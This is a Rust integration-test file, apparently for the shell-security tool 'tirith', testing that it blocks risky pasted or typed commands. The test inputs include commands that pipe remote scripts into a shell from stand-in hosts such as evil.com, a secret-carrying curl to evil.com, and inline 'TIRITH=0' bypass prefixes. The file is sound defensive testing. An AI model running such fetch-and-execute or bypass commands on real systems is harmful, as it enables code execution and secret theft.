use std::fs;
#[cfg(unix)]
use std::io::Write;
use std::path::PathBuf;
use std::process::Command;
fn tirith() -> Command {
let mut cmd = Command::new(env!("CARGO_BIN_EXE_tirith"));
cmd.env_remove("TIRITH");
cmd
}
#[test]
fn check_clean_command_allows() {
let out = tirith()
.args(["check", "--shell", "posix", "--", "ls -la"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0), "clean command should exit 0");
}
#[test]
fn check_curl_pipe_bash_blocks() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--",
"curl https://example.com/install.sh | bash",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1), "curl pipe bash should exit 1");
}
#[test]
fn check_curl_pipe_bash_shows_remediation_hint() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--non-interactive",
"--",
"curl https://example.com/install.sh | bash",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("getvet.sh"),
"human output should contain vet hint: {stderr}"
);
}
#[test]
fn check_iwr_pipe_iex_no_tirith_run_hint() {
let out = tirith()
.args([
"check",
"--shell",
"powershell",
"--non-interactive",
"--",
"iwr https://evil.com/script.ps1 | iex",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("getvet.sh"),
"PowerShell fetch should show vet hint: {stderr}"
);
assert!(
!stderr.contains("tirith run"),
"PowerShell fetch should NOT suggest tirith run: {stderr}"
);
}
#[test]
fn check_http_to_sink_blocks() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--",
"curl http://evil.com/payload",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1), "http to sink should exit 1");
}
#[test]
fn check_shortened_url_warns() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--",
"curl https://bit.ly/abc123",
])
.output()
.expect("failed to run tirith");
assert_eq!(
out.status.code(),
Some(2),
"shortened URL should exit 2 (warn)"
);
}
#[test]
fn check_json_output() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--json",
"--",
"curl https://example.com/install.sh | bash",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value =
serde_json::from_str(&stdout).expect("output should be valid JSON");
assert_eq!(json["schema_version"], 3);
assert_eq!(json["action"], "block");
assert!(!json["findings"].as_array().unwrap().is_empty());
}
#[test]
fn check_json_output_redacts_assignment_values_in_findings() {
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--interactive",
"--json",
"--",
"OPENAI_API_KEY=sk-secret curl https://evil.com | sh",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
!stdout.contains("sk-secret"),
"JSON output should not contain raw secret values: {stdout}"
);
assert!(
stdout.contains("OPENAI_API_KEY=[REDACTED]"),
"JSON output should scrub assignment values: {stdout}"
);
}
#[test]
fn check_json_clean_output() {
let out = tirith()
.args(["check", "--shell", "posix", "--json", "--", "echo hello"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value =
serde_json::from_str(&stdout).expect("output should be valid JSON");
assert_eq!(json["schema_version"], 3);
assert_eq!(json["action"], "allow");
}
#[test]
fn check_powershell_iwr_iex_blocks() {
let out = tirith()
.args([
"check",
"--shell",
"powershell",
"--",
"iwr https://evil.com/script.ps1 | iex",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1), "iwr | iex should exit 1");
}
#[test]
fn check_powershell_invoke_expression_blocks() {
let out = tirith()
.args([
"check",
"--shell",
"powershell",
"--",
"Invoke-WebRequest https://evil.com/script.ps1 | Invoke-Expression",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
}
#[test]
fn paste_clean_text_allows() {
let out = tirith()
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
}
#[test]
fn paste_ansi_escape_blocks() {
use std::io::Write;
let mut child = tirith()
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.take()
.unwrap()
.write_all(b"hello \x1b[31mred\x1b[0m world")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(1),
"paste with ANSI escapes should block"
);
}
#[test]
fn paste_inline_bypass_requires_interactive_mode() {
use std::io::Write;
let mut child = tirith()
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.take()
.unwrap()
.write_all(b"TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(1),
"non-interactive paste should not honor bypass by default"
);
}
#[test]
fn paste_inline_bypass_not_honored_with_interactive_flag() {
use std::io::Write;
let mut child = tirith()
.args(["paste", "--shell", "posix", "--interactive"])
.stdin(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.take()
.unwrap()
.write_all(b"TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(1),
"interactive paste should not honor pasted TIRITH=0 prefixes"
);
}
#[test]
fn paste_env_wrapper_bypass_not_honored_with_interactive_flag() {
use std::io::Write;
let mut child = tirith()
.args(["paste", "--shell", "posix", "--interactive"])
.stdin(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.take()
.unwrap()
.write_all(b"env TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(1),
"interactive paste should not honor pasted env TIRITH=0 prefixes"
);
}
#[test]
fn paste_process_level_bypass_still_honored_with_interactive_flag() {
use std::io::Write;
let mut child = tirith()
.env("TIRITH", "0")
.args(["paste", "--shell", "posix", "--interactive"])
.stdin(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.take()
.unwrap()
.write_all(b"curl -LsSf https://example.com/install.sh | sh")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(0),
"interactive paste should still honor process-level TIRITH=0 bypass"
);
}
#[test]
fn score_clean_url() {
let out = tirith()
.args(["score", "https://example.com/page"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
}
#[test]
fn score_suspicious_url() {
let out = tirith()
.args(["score", "https://bit.ly/abc123"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
}
#[test]
fn score_json_output() {
let out = tirith()
.args(["score", "--json", "https://bit.ly/abc123"])
.output()
.expect("failed to run tirith");
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value =
serde_json::from_str(&stdout).expect("score --json should output valid JSON");
assert!(json.get("findings").is_some());
}
#[test]
fn why_no_trigger() {
let out = tirith()
.args(["why"])
.output()
.expect("failed to run tirith");
assert!(
out.status.code() == Some(0) || out.status.code() == Some(1),
"why should exit 0 or 1"
);
}
#[test]
fn check_last_trigger_redacts_assignment_values_in_findings() {
let dir = tempfile::tempdir().expect("tempdir");
let out = tirith()
.env("XDG_DATA_HOME", dir.path())
.env("APPDATA", dir.path())
.args([
"check",
"--shell",
"posix",
"--interactive",
"--",
"OPENAI_API_KEY=sk-secret curl https://evil.com | sh",
])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
let last_trigger_path = dir.path().join("tirith").join("last_trigger.json");
let contents =
fs::read_to_string(&last_trigger_path).expect("last_trigger.json should be written");
assert!(
!contents.contains("sk-secret"),
"last_trigger.json should not contain raw secret values: {contents}"
);
assert!(
contents.contains("OPENAI_API_KEY=[REDACTED]"),
"last_trigger.json should scrub assignment values: {contents}"
);
}
#[test]
fn check_wrapped_tirith_run_preserves_sink_rules() {
for command in [
"env tirith run http://example.com",
"command tirith run http://example.com",
"time tirith run http://example.com",
] {
let out = tirith()
.args(["check", "--shell", "posix", "--", command])
.output()
.expect("failed to run tirith");
assert_eq!(
out.status.code(),
Some(1),
"wrapped tirith run should trigger sink rules: {command}"
);
}
}
#[test]
fn init_zsh_output() {
let out = tirith()
.args(["init", "--shell", "zsh"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
stdout.contains("zsh-hook.zsh") || stdout.contains("source"),
"init --shell zsh should reference zsh hook"
);
}
#[test]
fn init_bash_output() {
let out = tirith()
.args(["init", "--shell", "bash"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
stdout.contains("bash-hook.bash"),
"init --shell bash should reference bash hook"
);
assert!(
!stdout.contains("export TIRITH_BASH_MODE=enter"),
"init --shell bash should not override user-provided TIRITH_BASH_MODE"
);
}
#[test]
fn init_unsupported_shell() {
let out = tirith()
.args(["init", "--shell", "tcsh"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(1));
}
#[cfg(unix)]
#[test]
fn bash_hook_defaults_to_preexec_in_ssh_sessions() {
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"unset TIRITH_BASH_MODE; export SSH_CONNECTION=1; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "preexec",
"SSH sessions should default to preexec mode"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_respects_explicit_mode_override_in_ssh_sessions() {
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"export TIRITH_BASH_MODE=enter; export SSH_CONNECTION=1; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "enter",
"explicit TIRITH_BASH_MODE should take precedence"
);
}
#[test]
fn embedded_shell_hooks_match_repo_hooks() {
let manifest_dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
let embedded_dir = manifest_dir.join("assets/shell/lib");
let repo_dir = manifest_dir.join("../../shell/lib");
if !repo_dir.exists() {
return;
}
for hook in [
"zsh-hook.zsh",
"bash-hook.bash",
"fish-hook.fish",
"powershell-hook.ps1",
"nushell-hook.nu",
] {
let embedded = fs::read_to_string(embedded_dir.join(hook))
.unwrap_or_else(|e| panic!("failed reading embedded hook {hook}: {e}"));
let repo = fs::read_to_string(repo_dir.join(hook))
.unwrap_or_else(|e| panic!("failed reading repo hook {hook}: {e}"));
assert_eq!(
embedded, repo,
"embedded hook {hook} must stay in sync with shell/lib/{hook}"
);
}
}
#[test]
fn tier1_exit_fast_for_ls() {
let out = tirith()
.args(["check", "--json", "--shell", "posix", "--", "ls -la /tmp"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
assert_eq!(json["tier_reached"], 1, "ls should exit at Tier 1");
}
#[test]
fn tier3_reached_for_curl() {
let out = tirith()
.args([
"check",
"--json",
"--shell",
"posix",
"--",
"curl https://example.com/install.sh | bash",
])
.output()
.expect("failed to run tirith");
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
assert_eq!(
json["tier_reached"], 3,
"curl pipe bash should reach Tier 3"
);
}
#[test]
fn bypass_in_interactive_mode() {
let out = tirith()
.env("TIRITH", "0")
.args([
"check",
"--json",
"--shell",
"posix",
"--",
"curl https://example.com/install.sh | bash",
])
.output()
.expect("failed to run tirith");
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
assert!(json.get("bypass_requested").is_some());
}
#[test]
fn json_includes_observability() {
let out = tirith()
.args([
"check",
"--json",
"--shell",
"posix",
"--",
"curl https://example.com/install.sh | bash",
])
.output()
.expect("failed to run tirith");
let stdout = String::from_utf8_lossy(&out.stdout);
let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
assert!(json.get("timings_ms").is_some());
assert!(json.get("tier_reached").is_some());
assert!(json.get("urls_extracted_count").is_some());
}
#[test]
fn diff_url() {
let out = tirith()
.args(["diff", "https://example.com/page"])
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0));
}
#[test]
fn receipt_list_empty() {
let out = tirith()
.args(["receipt", "list"])
.output()
.expect("failed to run tirith");
assert!(
out.status.code() == Some(0) || out.status.code() == Some(1),
"receipt list should work"
);
}
#[cfg(unix)]
#[test]
fn paste_trailing_cr_allows() {
let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.as_mut()
.unwrap()
.write_all(b"/some/path\r")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(0),
"trailing \\r should not trigger control_chars block"
);
}
#[cfg(unix)]
#[test]
fn paste_embedded_cr_blocks() {
let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.as_mut()
.unwrap()
.write_all(b"safe\rmalicious")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(1),
"embedded \\r before non-\\n should trigger block"
);
}
#[cfg(unix)]
#[test]
fn paste_windows_crlf_allows() {
let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
.args(["paste", "--shell", "posix"])
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()
.expect("failed to spawn tirith");
child
.stdin
.as_mut()
.unwrap()
.write_all(b"echo hello\r\necho world\r\n")
.unwrap();
let out = child.wait_with_output().unwrap();
assert_eq!(
out.status.code(),
Some(0),
"Windows \\r\\n line endings should not trigger block"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_enter_default_outside_ssh() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "enter",
"non-SSH sessions should default to enter mode"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_honors_persistent_safe_mode() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let state_dir = tmpdir.path().join("tirith");
fs::create_dir_all(&state_dir).unwrap();
fs::write(state_dir.join("bash-safe-mode"), "1\n").unwrap();
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "preexec",
"persistent safe-mode flag should force preexec"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_explicit_override_trumps_safe_mode() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let state_dir = tmpdir.path().join("tirith");
fs::create_dir_all(&state_dir).unwrap();
fs::write(state_dir.join("bash-safe-mode"), "1\n").unwrap();
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"export TIRITH_BASH_MODE=enter; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "enter",
"explicit TIRITH_BASH_MODE should override safe-mode flag"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_prompt_hook_reattaches() {
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"source '{hook}'; PROMPT_COMMAND='other_fn'; _tirith_ensure_prompt_hook; [[ \"$PROMPT_COMMAND\" == *_tirith_prompt_hook* ]] && printf 'reattached' || printf 'missing'"
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "reattached",
"_tirith_ensure_prompt_hook should reattach when overwritten"
);
}
#[cfg(unix)]
fn expect_available() -> bool {
Command::new("sh")
.args(["-c", "command -v expect >/dev/null 2>&1"])
.status()
.map(|s| s.success())
.unwrap_or(false)
}
#[cfg(unix)]
fn bash_major_version() -> Option<u32> {
let out = Command::new("bash").arg("--version").output().ok()?;
if !out.status.success() {
return None;
}
let first = String::from_utf8_lossy(&out.stdout)
.lines()
.next()
.unwrap_or_default()
.to_string();
let marker = "version ";
let idx = first.find(marker)?;
let rest = &first[idx + marker.len()..];
let major = rest.split('.').next()?.trim().parse::<u32>().ok()?;
Some(major)
}
#[cfg(unix)]
#[test]
fn bash_hook_startup_gate_degrade_persists() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script =
format!("_TIRITH_TEST_FAIL_HEALTH=1; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\"");
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-i", "-c", &script])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("TIRITH_BASH_MODE")
.env_remove("SSH_CONNECTION")
.env_remove("SSH_TTY")
.env_remove("SSH_CLIENT")
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "preexec",
"health gate failure should degrade to preexec"
);
let flag = tmpdir.path().join("tirith/bash-safe-mode");
assert!(
flag.exists(),
"safe-mode flag should be persisted after degrade"
);
let script2 = format!(
"unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out2 = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script2])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
let stdout2 = String::from_utf8_lossy(&out2.stdout);
assert_eq!(
stdout2, "preexec",
"subsequent shells should start in preexec from persisted flag"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_runtime_delivery_failure_degrades_in_pty() {
if !expect_available() {
eprintln!("skipping PTY test: expect not available");
return;
}
if bash_major_version().map(|v| v < 5).unwrap_or(true) {
eprintln!("skipping PTY test: requires bash >= 5");
return;
}
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let expect_script = r#"
set timeout 20
set hook $env(HOOK_PATH)
spawn -noecho bash --norc --noprofile -i
expect -re {[$#] $}
send -- "export PS1='PROMPT> '\r"
expect "PROMPT> "
send -- "source '$hook'\r"
expect "PROMPT> "
send -- "PROMPT_COMMAND=':'; readonly PROMPT_COMMAND\r"
expect "PROMPT> "
send -- "echo PTY_RUNTIME_CHECK\r"
expect {
-re {switching to preexec} {}
timeout { exit 2 }
}
send -- "\r"
expect "PROMPT> "
send -- "exit\r"
expect eof
"#;
let out = Command::new("expect")
.args(["-c", expect_script])
.env("HOOK_PATH", &hook)
.env("XDG_STATE_HOME", tmpdir.path())
.env("_TIRITH_TEST_SKIP_HEALTH", "1")
.env_remove("TIRITH_BASH_MODE")
.env_remove("SSH_CONNECTION")
.env_remove("SSH_TTY")
.env_remove("SSH_CLIENT")
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run expect");
assert!(
out.status.success(),
"expect-driven PTY test failed (code {:?})\nstdout:\n{}\nstderr:\n{}",
out.status.code(),
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
let flag = tmpdir.path().join("tirith/bash-safe-mode");
assert!(
flag.exists(),
"runtime delivery failure should persist safe-mode flag"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_noninteractive_no_safe_mode_flag() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'"
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let flag = tmpdir.path().join("tirith/bash-safe-mode");
assert!(
!flag.exists(),
"non-interactive sourcing should never write safe-mode flag"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_noninteractive_no_debug_trap() {
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; trap -p DEBUG"
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
stdout.trim().is_empty(),
"non-interactive sourcing should not install DEBUG trap, got: {stdout}"
);
}
#[cfg(unix)]
#[test]
fn bash_hook_noninteractive_mode_is_enter() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let hook = format!(
"{}/assets/shell/lib/bash-hook.bash",
env!("CARGO_MANIFEST_DIR")
);
let script = format!(
"unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
);
let out = Command::new("bash")
.args(["--norc", "--noprofile", "-c", &script])
.env("XDG_STATE_HOME", tmpdir.path())
.env_remove("_TIRITH_BASH_LOADED")
.output()
.expect("failed to run bash");
assert_eq!(out.status.code(), Some(0));
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
stdout, "enter",
"non-interactive enter mode: variable is set but nothing installed"
);
}
#[test]
fn auto_checkpoint_cli_wiring_compiles_and_runs() {
let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
let workdir = tmpdir.path().join("project");
fs::create_dir_all(&workdir).unwrap();
fs::write(workdir.join("important.txt"), "do not delete").unwrap();
let state_dir = tmpdir.path().join("state");
let out = tirith()
.args([
"check",
"--shell",
"posix",
"--interactive",
"--",
"rm -rf tempstuff",
])
.env("XDG_STATE_HOME", &state_dir)
.current_dir(&workdir)
.output()
.expect("failed to run tirith");
assert_eq!(out.status.code(), Some(0), "rm -rf should be allowed");
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
!stderr.contains("auto-checkpoint failed"),
"auto-checkpoint should not report errors, got: {stderr}"
);
}
#[cfg(unix)]
fn prepare_read_only_audit_log() -> (tempfile::TempDir, PathBuf) {
use std::os::unix::fs::PermissionsExt;
let tmpdir = tempfile::tempdir().expect("tempdir");
let data_home = tmpdir.path().join("xdg-data");
let tirith_dir = data_home.join("tirith");
fs::create_dir_all(&tirith_dir).expect("create tirith data dir");
let log_path = tirith_dir.join("log.jsonl");
fs::write(&log_path, "{}\n").expect("seed audit log");
fs::set_permissions(&log_path, std::fs::Permissions::from_mode(0o400))
.expect("make audit log read-only");
(tmpdir, data_home)
}
#[cfg(unix)]
fn run_check_with_audit_failure(debug: bool) -> std::process::Output {
let (tmpdir, data_home) = prepare_read_only_audit_log();
let mut cmd = tirith();
cmd.env("XDG_DATA_HOME", &data_home)
.env("APPDATA", tmpdir.path())
.args([
"check",
"--shell",
"posix",
"--non-interactive",
"--",
"curl https://example.com/install.sh | bash",
]);
if debug {
cmd.env("TIRITH_AUDIT_DEBUG", "1");
}
cmd.output().expect("failed to run tirith check")
}
#[cfg(unix)]
fn run_paste_with_audit_failure(debug: bool) -> std::process::Output {
let (tmpdir, data_home) = prepare_read_only_audit_log();
let mut cmd = tirith();
cmd.env("XDG_DATA_HOME", &data_home)
.env("APPDATA", tmpdir.path())
.args(["paste", "--shell", "posix", "--non-interactive"])
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped());
if debug {
cmd.env("TIRITH_AUDIT_DEBUG", "1");
}
let mut child = cmd.spawn().expect("failed to spawn tirith paste");
child
.stdin
.take()
.expect("stdin pipe")
.write_all(b"curl https://example.com/install.sh | bash")
.expect("write paste input");
child.wait_with_output().expect("wait on tirith paste")
}
#[cfg(unix)]
fn run_check_with_last_trigger_failure(debug: bool) -> std::process::Output {
let tmpdir = tempfile::tempdir().expect("tempdir");
let fake_data_home = tmpdir.path().join("xdg-data-file");
fs::write(&fake_data_home, "not a directory").expect("seed fake XDG data home");
let mut cmd = tirith();
cmd.env("XDG_DATA_HOME", &fake_data_home)
.env("APPDATA", tmpdir.path())
.env("TIRITH_LOG", "0")
.args([
"check",
"--shell",
"posix",
"--non-interactive",
"--",
"curl https://example.com/install.sh | bash",
]);
if debug {
cmd.env("TIRITH_AUDIT_DEBUG", "1");
}
cmd.output().expect("failed to run tirith check")
}
#[cfg(unix)]
#[test]
fn check_audit_failures_are_silent_by_default() {
let out = run_check_with_audit_failure(false);
assert_eq!(
out.status.code(),
Some(1),
"blocked command should still exit 1"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("BLOCKED"),
"check output should still show the verdict, got: {stderr}"
);
assert!(
!stderr.contains("tirith: audit:"),
"audit diagnostics should be suppressed by default, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn check_audit_failures_are_visible_with_debug_env() {
let out = run_check_with_audit_failure(true);
assert_eq!(
out.status.code(),
Some(1),
"blocked command should still exit 1"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("tirith: audit:"),
"debug env should surface audit diagnostics, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn check_last_trigger_failures_are_silent_by_default() {
let out = run_check_with_last_trigger_failure(false);
assert_eq!(
out.status.code(),
Some(1),
"blocked command should still exit 1"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("BLOCKED"),
"check output should still show the verdict, got: {stderr}"
);
assert!(
!stderr.contains("cannot create data dir"),
"last_trigger diagnostics should be suppressed by default, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn check_last_trigger_failures_are_visible_with_debug_env() {
let out = run_check_with_last_trigger_failure(true);
assert_eq!(
out.status.code(),
Some(1),
"blocked command should still exit 1"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("cannot create data dir"),
"debug env should surface last_trigger diagnostics, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn paste_audit_failures_are_silent_by_default() {
let out = run_paste_with_audit_failure(false);
assert_eq!(
out.status.code(),
Some(1),
"blocked paste should still exit 1"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
stderr.contains("BLOCKED"),
"paste output should still show the verdict, got: {stderr}"
);
assert!(
!stderr.contains("tirith: audit:"),
"audit diagnostics should be suppressed by default, got: {stderr}"
);
}
#[cfg(unix)]
#[test]
fn paste_audit_failures_are_visible_with_debug_env() {
let out = run_paste_with_audit_failure(true);
assert_eq!(
out.status.code(),
Some(1),
"blocked paste should still exit 1"
);
let stderr = String::from_utf8_lossy(&out.stderr);
assert!(
